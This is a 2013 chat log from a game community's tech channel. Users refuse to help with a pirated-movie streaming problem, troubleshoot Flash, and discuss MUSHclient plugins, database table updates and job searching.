T3/r7/2013-08-07.txt.gz:{chan ch=tech}Flak Tech: what's R.I.P.D. ?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: failed movie
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Looks like a b-movie that forked out some extra cash for Ryan Reynolds
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Nuanse Tech: really important police department
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Its a FLV movie, who cares wether its a legal movie or not? Its a type of movie I can't watch and its bothering the heck out of me.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Flak Tech: oh yeah that movie lol
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: "Rest In Peace Department"
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: download flv player?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: download adobe flash?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Flak Tech: yeah i probably wouldnt help you that much with that movie either, looks stupid
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Well, we don't discuss illegal things on tech.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: You should know that, as long as you've been here, Sakata.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Yeah I downloaded adobe flash and every single link is giving me the same error.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: and the error is?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Maybe the NSA is in your computer?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: the nsa is in every computer
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: does the flash test at adobe.com work?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Well I wasnt discussing it at all, and you wouldnt have known if you didnt go digging, point is FLV doesnt work period. By the way can you help me hack someone? Jesus?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Flak Tech: why do you want to hack Jesus?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: Noone went digging. You decided to ignore me, then disparage me on tech.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: When someone has a tech issue, more info usually helps...
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i have an axe you can have, i dont want it back, and i want a witness that i gave it to you
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: what distro are you running?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: Microsoft gives the NSA their own login to all active copies of Windows.  I assume there are similar deals with the other OS companies.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: The center of this screen isnt popping up: Don't get paranoid its for the Adobe website. http://www.adobe.com/shockwave/welcome/
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I can guarantee there is no such deal in any reputable open source OS :-P
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: But the download supposedly went through.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: did you install it?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Yeah
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: did you restart your browser?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Yep
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: guessing you downloaded the wrong thing or you have java disabled
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: did you just download, or did you actually install
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: do you have an adblocker in play or similar sort of thing that perhaps is interfering?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: http://www.youtube.com/watch?v=nn2FB1P_Mn8
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: So apparently I have to download Flash and Shockwave or all in the same?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: flash
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Anyone else out there understand why he got ignored? My patience is thin,
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Imma have to start reading my scroll rather then the history. Before I get banned for that one. *sigh* alright back to work on this.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Actually, no. Your patience may be thin, but you seemed to have ignored him because after finding out you wanted help with something illegal, he refused to help you.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: I ignored him because he said he didn't ask... right after I showed him that he did most definately ask.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: And you asked "who cares?" or something similar about watching a movie? Well, the MPAA cares, as do the actors, and producers, and whoever else loses money off it. :)
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: I did not ask you to link me to illegal materials. I asked what you were trying to do. EG: Watch a movie from a website? Stream a video to another PC? 
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Daloran.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Redryn Tech: afaik actors don't lose money
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Redryn Tech: unless it's standard practice they get royalties?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: Book of Etzli shrugs helplessly.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: Depends on their contract, red. Most contracts to my understanding include a percentage of gross ticket/movie sales
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: rarely
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: Royalties was my understanding.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: most are paid a flat amount. robert downy jr gets a % because he's a smart man
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: it's not rare at all
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Business arguments aside, for which there are many, many sides (i.e. the profitability of movies sets actors' initial payments, so it doesn't matter if they get royalties or not) the fact remains it is illegal, and you can't honestly expect everyone ever to be ok with that.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: Well said, Vak. *looks for the upvote button*
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Captain HR Vakieh.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: No I cant expect that, but im recovering from surgery, im in pain, and I dont really have time for someone being a prude.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That is exactly one person's problem. Guess who?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: I just want to relax and watch a movie.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: So go buy a movie.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: then rent one, watch TV, etc
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im sure you have plenty you could watch again
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Or watch YouTube videos. Or invest in Netflix.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: redbox FTW
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Redbox is always giving out free rental codes.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: or get the trial for netflix, then cancel it before you get charged
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: 99% of the time I watch seasons on places like that I got my hard drive replaced 4 months ago and just realized I was having a problem, I'm such a criminal.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sonshi Tech: whether the law is just or not, you can't expect help with illegal stuff.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Petty law or not, it's still a crime.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Whats it matter? My computer wast playing FLV, that is all.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: unless you are trying to watch stuff on hulu i dont think many people would help
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Okay, I'm trying to watch stuff on Hulu.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Better?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: Except you're not.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: use a different browser
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Then you need to discuss with Hulu your problems, as they are best equipped to instruct you with with's wrong.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Er, with what's wrong.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: After all, it's their website.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sonshi Tech: you're paying for customer service, might as well use it!
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: hulu has too many ads now =/
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: I still can't beleive hulu plus doesn't remove the ads =p
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Well, I thought you said someone would care if I was trying to watch Hulu? :-)
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i know it costs more then netflix, and you still get ads!
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Someone did, and offered you the best solution. :D
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you were. Not if you said you were. 2 different things
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sonshi Tech: Hulu does, whatever that is
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: Yes - Hulu would care. They won't your ad dollars.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: chances are, you said friend gave you a HD, meaning the os might be pirated, which then leads to other problems trying to do things, so we may be able to give you suggestions to fix stuff, but they may not work
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Its all FLV files though
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Flak Tech: have you tried a different browser?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Yes
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: Have you tried turning it off and on again?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: I have tried Chrome and IE
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Its definately a software issue, happening on several different websites
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Flak Tech: do you have firefox anywhere?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: sakata did you try my youtube link?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: No ill do that now
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zytan Tech: Are you sure that its not something specific to your computer?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sonshi Tech: whether by design or by accident, illegal components tend to screw stuff up and sometimes don't work together too well.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: Zytan agrees!
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: if she can watch youtube she should be able to stream videos
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: i treid your link hadar, and now im watching a 22 minute pilot.. :D
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Yeah but its not just that one thing though thats causing a problem. Its just that one thing that caused me to finally ask for help.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: youtube is evil, i started watching magic tricks one day, and 2 hours later i was watching youtube videos on public toilets =/
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zytan Tech: Exactly, so it may be that a deeper problem is causing all of the surface level problems to occur.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: did you hear that hackers are hacking those things now?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: oh i went from watching chem experiments to popping blisters
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: public toilets?? you sure that was youtube?? :P
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: http://tvtropes.org/pmwiki/pmwiki.php/Main/SpaceCompression
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: CLICK IT. You know you want to.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: NO. Must resist tvtropes... or i won't get any sleep =p
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Youtube videos seem to work. Websites like Filenuke and other popular ones, megadownload (which are not always used for illegal content except for when you have private streaming links, and you can not watch those movies on without them so no fuss on this) are the ones im having problems with.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: ya like it was on the restrooms that are like self cleaning and stuff, and then somehow i ended up on this one : http://www.youtube.com/watch?v=AVE1ow6MUU8
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: http://xkcd.com/609/
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Different type of streaming then youtube possibly?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: some youtube videos are not flash based, so they may work regardless of flash
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: wait it was this one http://www.youtube.com/watch?v=FWMsPj9d2I8
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: Actually, I suspect I know what the issue is he's having.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Well I downloaded shockwave too and if this fails im going to take my pain meds and just go to sleep :-(
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: My original plan was to find all of the old sailor moon videos, you cant find them ANYWHERE anymore.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: sadly she cant see the answer you give :P
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Then I got distracted :/
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: Ah well. No worries
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: are the videos downloaded or streamed?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Its streaming
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: frank & sons here in california, you can find everything there
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: I dont download anything
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: download, then open in vlc
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: http://www.amazon.com/Sailor-Moon-Season-Complete-Uncut/dp/B000093NPZ/ref=sr_1_2?ie=UTF8&qid=1375850117&sr=8-2&keywords=sailor+moon+box+set+dvd Huh. I found them pretty quick =p
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: ouch sailor moon is expensive
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: http://www.amazon.com/Sailor-Moon-Limited-Edition-Box/dp/B00A9ZJD0Y/ref=sr_1_3?ie=UTF8&qid=1375850167&sr=8-3&keywords=sailor+moon+box+set+dvd quite a bit cheaper, for 1+2
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: You actually found it? 99% of the versions I have found are in japanese with english subtitles?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Daloran Tech: And thats a problem why now?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: Working at a movie theater was my first job, and its so funny... I could remember standing in the booth in the back of the building fighting with the other workers about who was gonna clean the sticky stain off of the seat or worse, clean it. But never once did we interrupt people in the act per the bosses order. I worked at 2 other theaters since then too.. Pretty much same policy.. So next time your sitting in a seat know that there is a 99% chance it has or had bodily fluid on it.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Sakata Tech: whoops LOL THAT was a m/c
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Ranrr Tech: In your home theater, at least you know where the fluid came from.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i set up a dns zone through cpanel, do i need to edit something else to get it to read correctly?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tymas Tech: Anybody know the Search & Destroy Plugin well?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tymas Tech: for mush
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Inspired Android Tech: anyone using bast for planes mobs ?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Nuanse Tech: yep
T3/r7/2013-08-07.txt.gz:{chan ch=tech}TrEz Tech: how can you check what plugin has an alias
T3/r7/2013-08-07.txt.gz:{chan ch=tech}TrEz Tech: in mush
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: you will probably have to open up the script file in notepad and look
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Trez, have you checked to make sure it isn't a mudslide alias?  You can also turn on tracing and then fire the alias...might help.  It's very very spammy though.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: or tell us what the alias is, one of us might know off hand...
T3/r7/2013-08-07.txt.gz:{chan ch=tech}TrEz Tech: hm trace works but
T3/r7/2013-08-07.txt.gz:{chan ch=tech}TrEz Tech: doesn't say what plugin contains it
T3/r7/2013-08-07.txt.gz:{chan ch=tech}TrEz Tech: I thought there's maybe some function to show info about an alias etc
T3/r7/2013-08-07.txt.gz:{chan ch=tech}TrEz Tech: but there prolly isn't :p
T3/r7/2013-08-07.txt.gz:{chan ch=tech}TrEz Tech: apparently I put everything odd in a plugin called misc, but some aliases remained :P like sws and craps
T3/r7/2013-08-07.txt.gz:{chan ch=tech}TrEz Tech: I'll find it
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tripphippie Tech: what db in mushclient holds the spell and skill names that basts spellup plugin uses?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tripphippie Tech: im having a problem with pass without trace. it is doing the pass social and not the trace command
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Ghargan Tech: the skill is trace to use
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: just "alias pass trace"
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tripphippie Tech: i know. i need to change that in basts spellup database
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Ghargan Tech: silly me not reading properly :-)
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: since it is a skill, the first word is used to activate the skill, there is no way to tell how to activate a skill from the mud
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tripphippie Tech: oh wow you are here
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: so in the case of pass without trace, it doesn't work
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tripphippie Tech: can i just rename it trace
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tripphippie Tech: manually?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: no, it uses the first word in the skill name and it gets the skill name from the mud in slist, it will just reset it if you change the database
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: just type "alias pass trace" and create a mudside alias
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tripphippie Tech: is there a way to use skills by the SN?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tripphippie Tech: i know cast 12 or whatever but is there a skill #?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: no, you can't use skills by the sn, otherwise I would have done that
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tripphippie Tech: well the alias works anyways thanks for the great plugin bast u are a script wizard
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: thanks for the compliment, I appreciate it
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: compliment?  I think he just called you a bot! :P
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tripphippie Tech: no it is a compliment.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tripphippie Tech: there are no bots here shhh
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: on a more serious note, you can get the cast-style functionality for skills via a clientside alias.  You'd just have to parse the number to get the correct skill command to use, and maybe validate further arguments.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: you can't tell how to activate a skill from its name though, some will be first word, some second word, you would have to keep a table updated and that is a pita
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tripphippie Tech: i know. it would fix it if you could alias a skill name in the plugin. have it use the normal command default but add an optional override that you can type in
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: aren't you doing essentially the same thing with the spells, though?  I assume you're working with slist, after all.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tripphippie Tech: spells are cast by number im assuming
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: You nod at Tripphippie.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: yeah, scripts using slist can do c <spellnum>, or c '<spellname>' from slist...but slist's entry of "226,pass without trace,3,0,100,-1,2" doesn't give the info needed without an exception list or override
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tripphippie Tech: in my opinion the slist should only have commands and not full names
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: can just add an additional field to that list to hold the command.  Spells, of course, would have cast, and you could evaluate for the skills.  Once made, there'd be no real reason outside of Lasher rearranging stuff to ever destroy the list.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: it's handy to refresh periodically, both for new spells and because it's a more-programmatic way to get current statuses
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: SNs, names, and most of that data isn't going to change, ever.  Destruction and recreation is going to be less efficient.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: not really
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: actually, dropping a table, recreating it, and then adding rows is sometime faster than updating all rows (especially for smaller tables)
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: depends on the database of course
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: versus just updating one column?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: where are you getting one column from?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: you're already getting all the data, and you're getting it in a "bulk add" type format...if the MUD had another command to give you a "slist update" where it didn't bother with things like the spellname, etc, then sure
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: well, okay, two, since some abilities do have a recovery.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: but you can't get just those columns
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: but we already know the other columns aren't changing any, so there no reason to rewrite those.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: it's more effort to update than to add, with no discernable performance difference
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Ghargan Tech: it is probably faster to drop the table and rebuild than check what has changed
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: don't need to check what *changed*, just update the two columns that *can* change.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: it's still more work for the script and the database
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Ghargan Tech: but you still have to find each one and change the data in it while the other way you drop the table and rebuild as the list comes in
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Mye Tech: also depends what you are using for a primary key and whether or not you have references to it.. if you're using an incremental counter and have fk references, dropping and recreating won't guarantee the pk is the same before and after
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Flak Tech: whats a good website to find entry-level IT jobs?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zoee Tech: has anyone used eq sets from bast plugins?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Hanslanda Tech: google or bing, I would bet.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: jobcircle used to be good for IT field
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: Zoee: me, although I don't like Bast very much
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Tech: I had a job thrown at me before I got back into searching when leaving my last place ;-)
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Flak Tech: apparently jobcircle = beyond.com now
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: he's an a*hole sometime
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Flak Tech: i wish i could get a job thrown at me :)
T3/r7/2013-08-07.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: javascript timing in chrome. i have rather massive pile of if's and for's and arrays each setTimeout cycle. yet there is not even 1ms delay(i saw 1ms correction once). it is suspicious and maybe my bug- how much js code can Chrome execute in 1ms?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Dysan Tech: a lot. people are running webservers using chrome's javascript engine
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Runtur Vanion Tech: speaking of chrome i get this annoying startup tab of yahoo search and i cant see any settings or programs that causes it
T3/r7/2013-08-07.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: extensions
T3/r7/2013-08-07.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i had the same thing with utorrent
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Runtur Vanion Tech: its not on extenstions list
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Runtur Vanion Tech: only roboform is on there
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Runtur Vanion Tech: oh nvrmind it was on  startup pages
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zoee Tech: hey there. i was wondering if there's a plugin for sets that actually works. i downloaded bast eqsets but it's useless.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: again, how is it useless? I know of several people using it just fine.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Krynal Tech: I have no problems with it.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Gaelehad Tech: try http://eq.gaardian.com
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zoee Tech: when i try to add item it give me an error about weraloc doesn't exist
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Krynal Tech: type wearable and use those locations.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Gaelehad Tech: Bast that doesn't mean i have tried your plugin but jsut giving another option
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: what wearloc are you trying to add?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zoee Tech: medal for example
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: do you type medal or medal1?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: there are 4 medal locations
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zoee Tech: the command is eqs add id level
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zoee Tech: wearloc should be default
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: medal is not a wear location
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: medal1 is a keyword for a wear location
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: add medal1 to the end of it, and you don't need level, as it will default to the item's level
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zoee Tech: let me try that then
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zoee Tech: doesn't work
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zoee Tech: Cannot wear this item at the wear location medal1
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: what version of my plugins are you using?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zoee Tech: ok, seems it have to give up on it.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zoee Tech: let me check
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zoee Tech: 2082 rev 2071
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zoee Tech: either i'm too dumb to use it or it doesn't work. most probably the former rather than latter.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: upgrade to 2089, that issue was probably fixed in that version
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zoee Tech: will do, thanks
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Zoee Tech: thanks bast, it's working now
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: etzli, what os do you when connected to your network?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Same as I've had before - Windows 8.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Book of Etzli Tech: My replies may be slow - in class still, will be heading home in about a half hour, though.
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Bast Tech: ok, sent you a personal note
T3/r7/2013-08-07.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: anyone familiar with web audio api?
T3/r7/2013-08-07.txt.gz:{chan ch=tech}Vishos Tech: could someone with experience using bast's eqset help me for a sec? I've added some stuff without using an argument for the set or container allowing it to use the level default and the bag that the items are currently in. To test it i can use the getset and wearset commands. But putset doesn't do anything. Any help getting putset to work would be much appreciated
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Aweyn Tech: Anyone here using Linux?
